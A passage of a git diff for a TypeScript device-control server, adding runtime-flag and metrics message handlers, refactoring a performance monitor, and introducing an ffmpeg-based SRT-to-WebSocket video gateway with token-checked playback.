+ deviceId, + success: false, + message: 'device offline or not found' + }) + return false + } + + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.webClientManager.sendToClient(clientId, 'runtime_flags_update_response', { + deviceId, + success: false, + message: 'no control permission' + }) + return false + } + + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + const deviceSocket = deviceSocketId + ? this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + : undefined + if (!deviceSocket) { + this.webClientManager.sendToClient(clientId, 'runtime_flags_update_response', { + deviceId, + success: false, + message: 'device socket unavailable' + }) + return false + } + + deviceSocket.emit('control_command', { + type: 'RUNTIME_FLAGS_UPDATE', + deviceId, + data: { + flags: normalizedFlags + }, + timestamp: Date.now() + }) + + this.webClientManager.sendToClient(clientId, 'runtime_flags_update_response', { + deviceId, + success: true, + message: 'runtime flags update command sent', + flags: normalizedFlags + }) + return true + } catch (error) { + this.logger.error('更新运行时开关失败:', error) + this.webClientManager.sendToClient(clientId, 'runtime_flags_update_response', { + deviceId, + success: false, + message: 'runtime flags update failed' + }) + return false + } + } + + private handleGetRuntimeFlags(clientId: string, deviceId: string): boolean { + try { + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.webClientManager.sendToClient(clientId, 'runtime_flags_response', { + deviceId, + success: false, + message: 'no control permission' + }) + return false + } + + const cachedFlags = this.databaseService.getDeviceRuntimeFlags(deviceId) + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + const deviceSocket = deviceSocketId + ? this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + : undefined + + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'RUNTIME_FLAGS_SYNC', + deviceId, + data: {}, + timestamp: Date.now() + }) + } + + this.webClientManager.sendToClient(clientId, 'runtime_flags_response', { + deviceId, + success: true, + message: deviceSocket ? 'sync requested, returning cached flags first' : 'device offline, returning cached flags', + flags: cachedFlags || {} + }) + return true + } catch (error) { + this.logger.error('获取运行时开关失败:', error) + this.webClientManager.sendToClient(clientId, 'runtime_flags_response', { + deviceId, + success: false, + message: 'get runtime flags failed' + }) + return false + } + } + + private handleGetDeviceMetrics(clientId: string, deviceId: string, hoursRaw: any): boolean { + try { + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.webClientManager.sendToClient(clientId, 'device_metrics_response', { + deviceId, + success: false, + message: 'no permission' + }) + return false + } + + const hours = typeof hoursRaw === 'number' && Number.isFinite(hoursRaw) + ? Math.max(1, Math.min(24 * 30, Math.floor(hoursRaw))) + : 24 + const summary = this.databaseService.getDeviceMetricSummary(deviceId, hours) + this.webClientManager.sendToClient(clientId, 'device_metrics_response', { + deviceId, + success: true, + data: summary + }) + return true + } catch (error) { + this.logger.error('获取设备指标失败:', error) + this.webClientManager.sendToClient(clientId, 'device_metrics_response', { + deviceId, + success: false, + message: 'get metrics failed' + }) + return false + } + } + + routeRuntimeFlagsSync(fromSocketId: string, payload: any): boolean { + try { + const device = this.deviceManager.getDeviceBySocketId(fromSocketId) + if (!device) { + this.logger.warn(`未知设备上报 runtime_flags_sync: ${fromSocketId}`) + return false + } + + const normalizedFlags = this.normalizeRuntimeFlags(payload?.flags) + this.databaseService.updateDeviceRuntimeFlags(device.id, normalizedFlags) + this.databaseService.saveOperationLog({ + deviceId: device.id, + logType: 'SYSTEM_EVENT', + content: 'RUNTIME_FLAGS_SYNC', + extraData: { + metricType: 'runtime_flags', + metricName: 'sync', + source: payload?.source || 'unknown', + flags: normalizedFlags + }, + timestamp: new Date(payload?.timestamp || Date.now()) + }) + + const response = { + deviceId: device.id, + source: payload?.source || 'unknown', + flags: normalizedFlags, + timestamp: payload?.timestamp || Date.now() + } + + const controllerId = this.webClientManager.getDeviceController(device.id) + if (controllerId) { + this.webClientManager.sendToClient(controllerId, 'runtime_flags_sync', response) + } else { + this.webClientManager.broadcastToAll('runtime_flags_sync', response) + } + return true + } catch (error) { + this.logger.error('处理 runtime_flags_sync 失败:', error) + return false + } + } + + routeDeviceMetric(fromSocketId: string, metricData: any): boolean { + try { + const device = this.deviceManager.getDeviceBySocketId(fromSocketId) + if (!device) { + this.logger.warn(`未知设备上报 metric: ${fromSocketId}`) + return false + } + + const metricType = typeof metricData?.metricType === 'string' ? metricData.metricType : 'unknown' + const metricName = typeof metricData?.metricName === 'string' ? metricData.metricName : 'unknown' + const metricSuccess = this.parseOptionalBoolean(metricData?.success) + const metricPayload = metricData?.data && typeof metricData.data === 'object' + ? metricData.data + : {} + const timestamp = metricData?.timestamp || Date.now() + + if (metricType === 'runtime_flags') { + const normalizedFlags = this.normalizeRuntimeFlags((metricPayload as any)?.flags) + if (Object.keys(normalizedFlags).length > 0) { + this.databaseService.updateDeviceRuntimeFlags(device.id, normalizedFlags) + } + } + + this.databaseService.saveOperationLog({ + deviceId: device.id, + logType: 'SYSTEM_EVENT', + content: `METRIC:${metricType}/${metricName}`, + extraData: { + metricType, + metricName, + success: metricSuccess, + data: metricPayload + }, + timestamp: new Date(timestamp) + }) + + const response = { + deviceId: device.id, + metricType, + metricName, + success: metricSuccess, + data: metricPayload, + timestamp + } + + const controllerId = this.webClientManager.getDeviceController(device.id) + if (controllerId) { + this.webClientManager.sendToClient(controllerId, 'device_metric', response) + } + return true + } catch (error) { + this.logger.error('处理设备指标上报失败:', error) + return false + } + } } -export default MessageRouter \ No newline at end of file +export default MessageRouter + diff --git a/src/services/PerformanceMonitorService.ts b/src/services/PerformanceMonitorService.ts index ec4e79b..86f7c54 100644 --- a/src/services/PerformanceMonitorService.ts +++ b/src/services/PerformanceMonitorService.ts @@ -1,8 +1,5 @@ import Logger from '../utils/Logger' -/** - * 性能指标接口 - */ export interface PerformanceMetrics { timestamp: number memoryUsage: MemoryMetrics @@ -11,20 +8,14 @@ export interface PerformanceMetrics { systemMetrics: SystemMetrics } -/** - * 内存指标 - */ export interface MemoryMetrics { - heapUsed: number // MB - heapTotal: number // MB - external: number // MB - rss: number // MB + heapUsed: number + heapTotal: number + external: number + rss: number heapUsedPercent: number } -/** - * 连接指标 - */ export interface ConnectionMetrics { totalConnections: number activeConnections: number @@ -33,100 +24,81 @@ export interface ConnectionMetrics { disconnectionsPerMinute: number } -/** - * 消息指标 - */ export interface MessageMetrics { messagesPerSecond: number - averageLatency: number // ms - p95Latency: number // ms - p99Latency: number // ms - errorRate: number // % + averageLatency: number + p95Latency: number + p99Latency: number + errorRate: number } -/** - * 系统指标 - */ export interface SystemMetrics { - uptime: number // seconds - cpuUsage: number // % - eventLoopLag: number // ms + uptime: number + cpuUsage: number + eventLoopLag: number } -/** - * 性能监控服务 - */ export class PerformanceMonitorService { private logger = new Logger('PerformanceMonitor') - - // 指标收集 + private metrics: PerformanceMetrics[] = [] - private readonly MAX_METRICS_HISTORY = 60 // 保留最近60条记录 - - // 消息延迟追踪 + private readonly MAX_METRICS_HISTORY = 120 + private messageLatencies: number[] = [] - private readonly MAX_LATENCY_SAMPLES = 1000 - - // 连接统计 + private readonly MAX_LATENCY_SAMPLES = 2000 + private connectionsPerMinute = 0 private disconnectionsPerMinute = 0 - private lastConnectionCount = 0 - - // 消息统计 + private connectionSnapshot = { + totalConnections: 0, + activeConnections: 0, + idleConnections: 0, + } + private messagesThisSecond = 0 private messagesLastSecond = 0 private errorsThisSecond = 0 private errorsLastSecond = 0 - - // 事件循环监控 - private lastEventLoopCheck = Date.now() + private eventLoopLag = 0 + private monitoringIntervals: NodeJS.Timeout[] = [] constructor() { this.startMonitoring() } - /** - * 记录消息延迟 - */ + setConnectionSnapshot(snapshot: Partial): void { + this.connectionSnapshot = { + totalConnections: snapshot.totalConnections ?? this.connectionSnapshot.totalConnections, + activeConnections: snapshot.activeConnections ?? this.connectionSnapshot.activeConnections, + idleConnections: snapshot.idleConnections ?? this.connectionSnapshot.idleConnections, + } + } + recordMessageLatency(latency: number): void { + if (!Number.isFinite(latency) || latency < 0) return this.messageLatencies.push(latency) if (this.messageLatencies.length > this.MAX_LATENCY_SAMPLES) { this.messageLatencies.shift() } } - /** - * 记录消息 - */ recordMessage(): void { this.messagesThisSecond++ } - /** - * 记录错误 - */ recordError(): void { this.errorsThisSecond++ } - /** - * 记录连接 - */ recordConnection(): void { this.connectionsPerMinute++ } - /** - * 记录断开连接 - */ recordDisconnection(): void { this.disconnectionsPerMinute++ } - /** - * 获取当前性能指标 - */ getCurrentMetrics(): PerformanceMetrics { const memUsage = process.memoryUsage() const heapUsedMB = Math.round(memUsage.heapUsed / 1024 / 1024) @@ -134,21 +106,21 @@ export class PerformanceMonitorService { const externalMB = Math.round(memUsage.external / 1024 / 1024) const rssMB = Math.round(memUsage.rss / 1024 / 1024) - const metrics: PerformanceMetrics = { + return { timestamp: Date.now(), memoryUsage: { heapUsed: heapUsedMB, heapTotal: heapTotalMB, external: externalMB, rss: rssMB, - heapUsedPercent: Math.round((heapUsedMB / heapTotalMB) * 100) + heapUsedPercent: heapTotalMB > 0 ? Math.round((heapUsedMB / heapTotalMB) * 100) : 0, }, connectionMetrics: { - totalConnections: 0, // 由调用者设置 - activeConnections: 0, - idleConnections: 0, + totalConnections: this.connectionSnapshot.totalConnections, + activeConnections: this.connectionSnapshot.activeConnections, + idleConnections: this.connectionSnapshot.idleConnections, newConnectionsPerMinute: this.connectionsPerMinute, - disconnectionsPerMinute: this.disconnectionsPerMinute + disconnectionsPerMinute: this.disconnectionsPerMinute, }, messageMetrics: { messagesPerSecond: this.messagesLastSecond, @@ -156,185 +128,140 @@ export class PerformanceMonitorService { p95Latency: this.calculatePercentileLatency(95), p99Latency: this.calculatePercentileLatency(99), errorRate: this.messagesLastSecond > 0 - ? Math.round((this.errorsLastSecond / this.messagesLastSecond) * 100 * 100) / 100 - : 0 + ? Math.round((this.errorsLastSecond / this.messagesLastSecond) * 10000) / 100 + : 0, }, systemMetrics: { uptime: Math.round(process.uptime()), cpuUsage: this.calculateCpuUsage(), - eventLoopLag: this.eventLoopLag - } + eventLoopLag: this.eventLoopLag, + }, } - - return metrics } - /** - * 计算平均延迟 - */ private calculateAverageLatency(): number { if (this.messageLatencies.length === 0) return 0 const sum = this.messageLatencies.reduce((a, b) => a + b, 0) - return Math.round(sum / this.messageLatencies.length * 100) / 100 + return Math.round((sum / this.messageLatencies.length) * 100) / 100 } - /** - * 计算百分位延迟 - */ private calculatePercentileLatency(percentile: number): number { if (this.messageLatencies.length === 0) return 0 const sorted = [...this.messageLatencies].sort((a, b) => a - b) const index = Math.ceil((percentile / 100) * sorted.length) - 1 - return sorted[Math.max(0, index)] + return Math.round((sorted[Math.max(0, index)] ?? 0) * 100) / 100 } - /** - * 计算CPU使用率 (简化版) - */ private calculateCpuUsage(): number { - // 这是一个简化的实现,实际应该使用 os.cpus() 或专门的库 const usage = process.cpuUsage() - return Math.round((usage.user + usage.system) / 1000000 * 100) / 100 + return Math.round(((usage.user + usage.system) / 1000000) * 100) / 100 } - /** - * 启动监控任务 - */ private startMonitoring(): void { - // 每秒更新消息统计 - setInterval(() => { + this.monitoringIntervals.push(setInterval(() => { this.messagesLastSecond = this.messagesThisSecond this.errorsLastSecond = this.errorsThisSecond this.messagesThisSecond = 0 this.errorsThisSecond = 0 - }, 1000) + }, 1000)) - // 每分钟重置连接统计 - setInterval(() => { + this.monitoringIntervals.push(setInterval(() => { this.connectionsPerMinute = 0 this.disconnectionsPerMinute = 0 - }, 60000) + }, 60000)) - // 每10秒收集一次完整指标 - setInterval(() => { + this.monitoringIntervals.push(setInterval(() => { const metrics = this.getCurrentMetrics() this.metrics.push(metrics) - if (this.metrics.length > this.MAX_METRICS_HISTORY) { this.metrics.shift() } - this.logMetrics(metrics) - }, 10000) + }, 10000)) - // 监控事件循环延迟 this.monitorEventLoopLag() } - /** - * 监控事件循环延迟 - */ private monitorEventLoopLag(): void { let lastCheck = Date.now() - - setInterval(() => { + this.monitoringIntervals.push(setInterval(() => { const now = Date.now() - const expectedDelay = 1000 // 1秒 + const expectedDelay = 1000 const actualDelay = now - lastCheck this.eventLoopLag = Math.max(0, actualDelay - expectedDelay) lastCheck = now - }, 1000) + }, 1000)) } - /** - * 输出指标日志 - */ private logMetrics(metrics: PerformanceMetrics): void { const mem = metrics.memoryUsage const msg = metrics.messageMetrics const conn = metrics.connectionMetrics const sys = metrics.systemMetrics - this.logger.info(` -📊 性能指标 (${new Date(metrics.timestamp).toLocaleTimeString()}): - 💾 内存: ${mem.heapUsed}MB / ${mem.heapTotal}MB (${mem.heapUsedPercent}%) | RSS: ${mem.rss}MB - 📨 消息: ${msg.messagesPerSecond}/s | 延迟: ${msg.averageLatency}ms (p95: ${msg.p95Latency}ms, p99: ${msg.p99Latency}ms) | 错误率: ${msg.errorRate}% - 🔌 连接: ${conn.totalConnections}个 (活跃: ${conn.activeConnections}, 空闲: ${conn.idleConnections}) | 新增: ${conn.newConnectionsPerMinute}/min - ⚙️ 系统: 运行时间 ${sys.uptime}s | CPU: ${sys.cpuUsage}% | 事件循环延迟: ${sys.eventLoopLag}ms - `) + this.logger.info( + `\u6027\u80fd ${new Date(metrics.timestamp).toLocaleTimeString()} | ` + + `\u5185\u5b58=${mem.heapUsed}/${mem.heapTotal}MB rss=${mem.rss}MB | ` + + `\u6d88\u606f=${msg.messagesPerSecond}/s p95=${msg.p95Latency}ms p99=${msg.p99Latency}ms \u9519\u8bef\u7387=${msg.errorRate}% | ` + + `\u8fde\u63a5=${conn.totalConnections} \u6d3b\u8dc3=${conn.activeConnections} \u7a7a\u95f2=${conn.idleConnections} ` + + `\u65b0\u5efa=${conn.newConnectionsPerMinute}/m \u65ad\u5f00=${conn.disconnectionsPerMinute}/m | ` + + `\u8fd0\u884c=${sys.uptime}s \u4e8b\u4ef6\u5faa\u73af\u5ef6\u8fdf=${sys.eventLoopLag}ms CPU=${sys.cpuUsage}%` + ) } - /** - * 获取历史指标 - */ getMetricsHistory(limit: number = 10): PerformanceMetrics[] { - return this.metrics.slice(-limit) + const normalizedLimit = Math.max(1, Math.min(500, limit)) + return this.metrics.slice(-normalizedLimit) } - /** - * 获取性能警告 - */ getPerformanceWarnings(): string[] { const warnings: string[] = [] const latest = this.metrics[this.metrics.length - 1] - if (!latest) return warnings - // 内存警告 - if (latest.memoryUsage.heapUsedPercent > 80) { - warnings.push(`⚠️ 内存使用过高: ${latest.memoryUsage.heapUsedPercent}%`) + if (latest.memoryUsage.heapUsedPercent > 85) { + warnings.push(`\u5185\u5b58\u4f7f\u7528\u7387\u8fc7\u9ad8: ${latest.memoryUsage.heapUsedPercent}%`) } - - // 延迟警告 if (latest.messageMetrics.p99Latency > 500) { - warnings.push(`⚠️ 消息延迟过高: P99=${latest.messageMetrics.p99Latency}ms`) + warnings.push(`\u6d88\u606f\u5ef6\u8fdf\u8fc7\u9ad8: p99=${latest.messageMetrics.p99Latency}ms`) } - - // 错误率警告 if (latest.messageMetrics.errorRate > 5) { - warnings.push(`⚠️ 错误率过高: ${latest.messageMetrics.errorRate}%`) + warnings.push(`\u9519\u8bef\u7387\u8fc7\u9ad8: ${latest.messageMetrics.errorRate}%`) } - - // 事件循环延迟警告 if (latest.systemMetrics.eventLoopLag > 100) { - warnings.push(`⚠️ 事件循环延迟过高: ${latest.systemMetrics.eventLoopLag}ms`) + warnings.push(`\u4e8b\u4ef6\u5faa\u73af\u5ef6\u8fdf\u8fc7\u9ad8: ${latest.systemMetrics.eventLoopLag}ms`) } return warnings } - /** - * 获取性能报告 - */ getPerformanceReport(): string { const warnings = this.getPerformanceWarnings() const latest = this.metrics[this.metrics.length - 1] + if (!latest) return '\u6682\u65e0\u6027\u80fd\u6570\u636e' - if (!latest) return '暂无数据' - - let report = '📈 性能报告\n' - report += '='.repeat(50) + '\n' - report += `时间: ${new Date(latest.timestamp).toLocaleString()}\n` - report += `内存: ${latest.memoryUsage.heapUsed}MB / ${latest.memoryUsage.heapTotal}MB\n` - report += `消息吞吐: ${latest.messageMetrics.messagesPerSecond}/s\n` - report += `平均延迟: ${latest.messageMetrics.averageLatency}ms\n` - report += `连接数: ${latest.connectionMetrics.totalConnections}\n` - report += `运行时间: ${latest.systemMetrics.uptime}s\n` - + let report = '\u6027\u80fd\u62a5\u544a\n' + report += '='.repeat(48) + '\n' + report += `\u65f6\u95f4: ${new Date(latest.timestamp).toLocaleString()}\n` + report += `\u5185\u5b58: ${latest.memoryUsage.heapUsed}MB / ${latest.memoryUsage.heapTotal}MB\n` + report += `\u6d88\u606f\u541e\u5410: ${latest.messageMetrics.messagesPerSecond}/s\n` + report += `\u5e73\u5747\u5ef6\u8fdf: ${latest.messageMetrics.averageLatency}ms\n` + report += `\u8fde\u63a5\u6570: ${latest.connectionMetrics.totalConnections}\n` + report += `\u8fd0\u884c\u65f6\u957f: ${latest.systemMetrics.uptime}s\n` if (warnings.length > 0) { - report += '\n⚠️ 警告:\n' - warnings.forEach(w => report += ` ${w}\n`) + report += '\n\u544a\u8b66:\n' + warnings.forEach((warning) => { + report += ` - ${warning}\n` + }) } else { - report += '\n✅ 系统运行正常\n' + report += '\n\u72b6\u6001: \u6b63\u5e38\n' } - return report } - /** - * 清理资源 - */ destroy(): void { + this.monitoringIntervals.forEach((timer) => clearInterval(timer)) + this.monitoringIntervals = [] this.metrics = [] this.messageLatencies = [] } diff --git a/src/services/SrtGatewayService.ts b/src/services/SrtGatewayService.ts new file mode 100644 index 0000000..da5db17 --- /dev/null +++ b/src/services/SrtGatewayService.ts @@ -0,0 +1,595 @@ +import { ChildProcessWithoutNullStreams, spawn, spawnSync } from 'child_process' +import { randomUUID } from 'crypto' +import type { IncomingMessage, Server as HttpServer } from 'http' +import type { Socket } from 'net' +import { URL } from 'url' +import { WebSocketServer, WebSocket } from 'ws' +import Logger from '../utils/Logger' + +type VideoTransportMode = 'srt_mpegts' + +interface SrtGatewayConfig { + enabled: boolean + ffmpegPath: string + portBase: number + portSpan: number + latencyMs: number + publicHost: string + playbackPath: string + playbackWsOrigin: string + idleTimeoutMs: number + ticketTtlMs: number +} + +interface PlaybackTicket { + token: string + deviceId: string + clientId: string + expiresAt: number +} + +interface ViewerMeta { + deviceId: string + clientId: string +} + +interface SrtSession { + deviceId: string + ingestPort: number + ffmpegProcess: ChildProcessWithoutNullStreams | null + viewers: Set + lastActivityAt: number + createdAt: number + restartCount: number +} + +export interface SrtSessionInfo { + deviceId: string + ingestHost: string + ingestPort: number + ingestUrl: string + playbackUrl: string + playbackPath: string + latencyMs: number + videoTransport: VideoTransportMode + tokenExpiresAt: number +} + +export class SrtGatewayService { + private readonly logger: Logger + private readonly httpServer: HttpServer + private readonly wsServer: WebSocketServer + private readonly config: SrtGatewayConfig + private readonly sessions = new Map() + private readonly usedPorts = new Set() + private readonly tickets = new Map() + private readonly viewerMeta = new Map() + private readonly cleanupTimer: NodeJS.Timeout + private ffmpegProbeCompleted = false + private ffmpegAvailable = false + + constructor(httpServer: HttpServer) { + this.httpServer = httpServer + this.logger = new Logger('SrtGateway') + this.config = this.loadConfig() + this.wsServer = new WebSocketServer({ noServer: true }) + this.cleanupTimer = setInterval(() => this.cleanupExpiredResources(), 10_000) + + this.httpServer.on('upgrade', (request: IncomingMessage, socket: Socket, head: Buffer) => { + this.handleHttpUpgrade(request, socket, head) + }) + + this.logger.info( + `Initialized: enabled=${this.config.enabled}, playbackPath=${this.config.playbackPath}, portBase=${this.config.portBase}, portSpan=${this.config.portSpan}` + ) + } + + public isEnabled(): boolean { + return this.config.enabled + } + + public getPlaybackPath(): string { + return this.config.playbackPath + } + + public prepareStream(deviceId: string, clientId: string, options?: { ingestHostHint?: string, playbackWsOriginHint?: string }): SrtSessionInfo | null { + if (!this.config.enabled) { + return null + } + + if (!this.ensureFfmpegAvailable()) { + this.logger.error('ffmpeg not available; cannot prepare SRT session') + return null + } + + const session = this.ensureSession(deviceId) + if (!session) { + return null + } + + session.lastActivityAt = Date.now() + + const ticket = this.issueTicket(deviceId, clientId) + const ingestHost = this.resolveIngestHost(options?.ingestHostHint) + const playbackOrigin = this.resolvePlaybackWsOrigin(options?.playbackWsOriginHint) + + return { + deviceId, + ingestHost, + ingestPort: session.ingestPort, + ingestUrl: this.buildIngestUrl(ingestHost, session.ingestPort), + playbackUrl: `${playbackOrigin}${this.config.playbackPath}?token=${encodeURIComponent(ticket.token)}`, + playbackPath: this.config.playbackPath, + latencyMs: this.config.latencyMs, + videoTransport: 'srt_mpegts', + tokenExpiresAt: ticket.expiresAt + } + } + + public stopClientStream(deviceId: string, clientId: string): void { + for (const [token, ticket] of this.tickets.entries()) { + if (ticket.deviceId === deviceId && ticket.clientId === clientId) { + this.tickets.delete(token) + } + } + + const session = this.sessions.get(deviceId) + if (!session) { + return + } + + for (const ws of Array.from(session.viewers)) { + const meta = this.viewerMeta.get(ws) + if (!meta) continue + if (meta.deviceId === deviceId && meta.clientId === clientId) { + try { + ws.close(1000, 'stream_stopped') + } catch { + ws.terminate() + } + } + } + + session.lastActivityAt = Date.now() + } + + public stopSession(deviceId: string): void { + const session = this.sessions.get(deviceId) + if (!session) { + return + } + + for (const [token, ticket] of this.tickets.entries()) { + if (ticket.deviceId === deviceId) { + this.tickets.delete(token) + } + } + + for (const ws of session.viewers) { + try { + ws.close(1001, 'session_closed') + } catch { + ws.terminate() + } + this.viewerMeta.delete(ws) + } + session.viewers.clear() + + if (session.ffmpegProcess) { + session.ffmpegProcess.removeAllListeners() + try { + session.ffmpegProcess.kill('SIGTERM') + } catch { + session.ffmpegProcess.kill() + } + session.ffmpegProcess = null + } + + this.usedPorts.delete(session.ingestPort) + this.sessions.delete(deviceId) + this.logger.info(`Session stopped: device=${deviceId}`) + } + + public shutdown(): void { + clearInterval(this.cleanupTimer) + for (const deviceId of Array.from(this.sessions.keys())) { + this.stopSession(deviceId) + } + try { + this.wsServer.close() + } catch { + // ignore + } + } + + private loadConfig(): SrtGatewayConfig { + // Stable default: disabled unless explicitly enabled. + const enabled = process.env.SRT_GATEWAY_ENABLED === 'true' + const ffmpegPath = process.env.SRT_FFMPEG_PATH?.trim() || 'ffmpeg' + const portBase = this.parseNumberEnv(process.env.SRT_PORT_BASE, 12000, 1024, 65500) + const portSpan = this.parseNumberEnv(process.env.SRT_PORT_SPAN, 1000, 10, 5000) + const latencyMs = this.parseNumberEnv(process.env.SRT_LATENCY_MS, 80, 20, 800) + const publicHost = process.env.SRT_PUBLIC_HOST?.trim() || '' + const playbackPathRaw = process.env.SRT_PLAYBACK_PATH?.trim() || '/ws/srt-play' + const playbackPath = playbackPathRaw.startsWith('/') ? playbackPathRaw : `/${playbackPathRaw}` + const playbackWsOrigin = process.env.SRT_PLAYBACK_WS_ORIGIN?.trim() || '' + const idleTimeoutMs = this.parseNumberEnv(process.env.SRT_IDLE_TIMEOUT_MS, 45_000, 10_000, 10 * 60_000) + const ticketTtlMs = this.parseNumberEnv(process.env.SRT_TICKET_TTL_MS, 60_000, 5_000, 5 * 60_000) + + return { + enabled, + ffmpegPath, + portBase, + portSpan, + latencyMs, + publicHost, + playbackPath, + playbackWsOrigin, + idleTimeoutMs, + ticketTtlMs + } + } + + private parseNumberEnv(rawValue: string | undefined, defaultValue: number, min: number, max: number): number { + const parsed = Number.parseInt(rawValue || '', 10) + if (!Number.isFinite(parsed)) { + return defaultValue + } + return Math.max(min, Math.min(max, parsed)) + } + + private ensureFfmpegAvailable(): boolean { + if (this.ffmpegProbeCompleted) { + return this.ffmpegAvailable + } + + this.ffmpegProbeCompleted = true + + try { + const probe = spawnSync(this.config.ffmpegPath, ['-version'], { + windowsHide: true, + timeout: 3000, + stdio: 'ignore' + }) + this.ffmpegAvailable = probe.status === 0 + } catch (error) { + this.ffmpegAvailable = false + this.logger.error('ffmpeg probe failed', error) + } + + if (!this.ffmpegAvailable) { + this.logger.error(`ffmpeg unavailable: path=${this.config.ffmpegPath}`) + } + return this.ffmpegAvailable + } + + private ensureSession(deviceId: string): SrtSession | null { + const existing = this.sessions.get(deviceId) + if (existing) { + if (!existing.ffmpegProcess) { + this.startFfmpeg(existing) + } + return existing + } + + const ingestPort = this.allocatePort(deviceId) + if (!ingestPort) { + this.logger.error(`No free SRT ingest port for device=${deviceId}`) + return null + } + + const session: SrtSession = { + deviceId, + ingestPort, + ffmpegProcess: null, + viewers: new Set(), + lastActivityAt: Date.now(), + createdAt: Date.now(), + restartCount: 0 + } + + this.sessions.set(deviceId, session) + this.usedPorts.add(ingestPort) + this.startFfmpeg(session) + return session + } + + private allocatePort(deviceId: string): number | null { + const span = this.config.portSpan + const base = this.config.portBase + const seed = this.stringHash(deviceId) + + for (let i = 0; i < span; i += 1) { + const candidate = base + ((seed + i) % span) + if (!this.usedPorts.has(candidate)) { + return candidate + } + } + + return null + } + + private stringHash(value: string): number { + let hash = 0 + for (let i = 0; i < value.length; i += 1) { + hash = ((hash << 5) - hash + value.charCodeAt(i)) | 0 + } + return Math.abs(hash) + } + + private startFfmpeg(session: SrtSession): void { + if (session.ffmpegProcess || !this.config.enabled) { + return + } + + const inputUrl = `srt://0.0.0.0:${session.ingestPort}?mode=listener&latency=${this.config.latencyMs}&transtype=live` + const args = [ + '-loglevel', 'warning', + '-fflags', 'nobuffer', + '-flags', 'low_delay', + '-analyzeduration', '0', + '-probesize', '32768', + '-i', inputUrl, + '-an', + '-c:v', 'copy', + '-f', 'mpegts', + '-mpegts_flags', 'resend_headers', + 'pipe:1' + ] + + this.logger.info(`Start ffmpeg session: device=${session.deviceId}, input=${inputUrl}`) + + const child = spawn(this.config.ffmpegPath, args, { + windowsHide: true, + stdio: ['pipe', 'pipe', 'pipe'] + }) + child.stdin.end() + + session.ffmpegProcess = child + + child.stdout.on('data', (chunk: Buffer) => { + session.lastActivityAt = Date.now() + session.restartCount = 0 + this.broadcastChunk(session, chunk) + }) + + child.stderr.on('data', (data: Buffer) => { + const line = data.toString().trim() + if (line) { + this.logger.debug(`ffmpeg[${session.deviceId}] ${line}`) + } + }) + + child.on('error', (error) => { + this.logger.error(`ffmpeg process error: device=${session.deviceId}`, error) + }) + + child.on('close', (code, signal) => { + const current = this.sessions.get(session.deviceId) + if (!current || current !== session) { + return + } + + current.ffmpegProcess = null + this.logger.warn(`ffmpeg exited: device=${session.deviceId}, code=${code}, signal=${signal}`) + + if (!this.config.enabled) { + return + } + + current.restartCount += 1 + if (current.restartCount > 5) { + this.logger.error(`ffmpeg restart limit exceeded, closing session: device=${session.deviceId}`) + this.stopSession(session.deviceId) + return + } + + const delayMs = Math.min(1000 * current.restartCount, 5000) + setTimeout(() => { + const aliveSession = this.sessions.get(session.deviceId) + if (aliveSession && !aliveSession.ffmpegProcess) { + this.startFfmpeg(aliveSession) + } + }, delayMs) + }) + } + + private issueTicket(deviceId: string, clientId: string): PlaybackTicket { + const token = randomUUID() + const expiresAt = Date.now() + this.config.ticketTtlMs + const ticket: PlaybackTicket = { token, deviceId, clientId, expiresAt } + this.tickets.set(token, ticket) + return ticket + } + + private consumeTicket(token: string): PlaybackTicket | null { + const ticket = this.tickets.get(token) + if (!ticket) { + return null + } + if (ticket.expiresAt < Date.now()) { + this.tickets.delete(token) + return null + } + this.tickets.delete(token) + return ticket + } + + private resolveIngestHost(hostHint?: string): string { + if (this.config.publicHost) { + return this.stripPort(this.config.publicHost) + } + if (hostHint) { + return this.stripPort(hostHint) + } + return '127.0.0.1' + } + + private resolvePlaybackWsOrigin(originHint?: string): string { + const source = this.config.playbackWsOrigin || originHint || '' + if (!source) { + return 'ws://127.0.0.1:3001' + } + + const trimmed = source.trim().replace(/\/+$/, '') + if (trimmed.startsWith('ws://') || trimmed.startsWith('wss://')) { + return trimmed + } + if (trimmed.startsWith('http://')) { + return `ws://${trimmed.slice('http://'.length)}` + } + if (trimmed.startsWith('https://')) { + return `wss://${trimmed.slice('https://'.length)}` + } + return `ws://${trimmed}` + } + + private stripPort(hostLike: string): string { + const value = hostLike.trim() + if (!value) { + return '127.0.0.1' + } + + if (value.startsWith('[')) { + const closeIndex = value.indexOf(']') + if (closeIndex > 0) { + return value.slice(1, closeIndex) + } + } + + const firstColon = value.indexOf(':') + const lastColon = value.lastIndexOf(':') + if (firstColon > 0 && firstColon === lastColon) { + return value.slice(0, firstColon) + } + return value + } + + private buildIngestUrl(host: string, port: number): string { + return `srt://${host}:${port}?mode=caller&latency=${this.config.latencyMs}&transtype=live` + } + + private broadcastChunk(session: SrtSession, chunk: Buffer): void { + if (session.viewers.size === 0) { + return + } + + for (const ws of Array.from(session.viewers)) { + if (ws.readyState !== WebSocket.OPEN) { + session.viewers.delete(ws) + this.viewerMeta.delete(ws) + continue + } + + try { + ws.send(chunk, { binary: true }) + } catch (error) { + this.logger.warn(`Viewer send failed: device=${session.deviceId}`, error) + session.viewers.delete(ws) + this.viewerMeta.delete(ws) + try { + ws.terminate() + } catch { + // ignore + } + } + } + } + + private handleHttpUpgrade(request: IncomingMessage, socket: Socket, head: Buffer): void { + if (!this.config.enabled) { + return + } + + const parsed = this.safeParseUrl(request) + if (!parsed || parsed.pathname !== this.config.playbackPath) { + return + } + + const token = parsed.searchParams.get('token') || '' + const ticket = this.consumeTicket(token) + if (!ticket) { + this.rejectUpgrade(socket, 401, 'invalid_or_expired_token') + return + } + + const session = this.sessions.get(ticket.deviceId) + if (!session) { + this.rejectUpgrade(socket, 404, 'stream_not_found') + return + } + + this.wsServer.handleUpgrade(request, socket, head, (ws: WebSocket) => { + this.registerViewer(ws, ticket, session) + }) + } + + private registerViewer(ws: WebSocket, ticket: PlaybackTicket, session: SrtSession): void { + session.viewers.add(ws) + session.lastActivityAt = Date.now() + this.viewerMeta.set(ws, { + deviceId: ticket.deviceId, + clientId: ticket.clientId + }) + + ws.on('message', () => { + // Ignore upstream data from viewers; playback socket is read-only. + }) + + ws.on('close', () => { + session.viewers.delete(ws) + 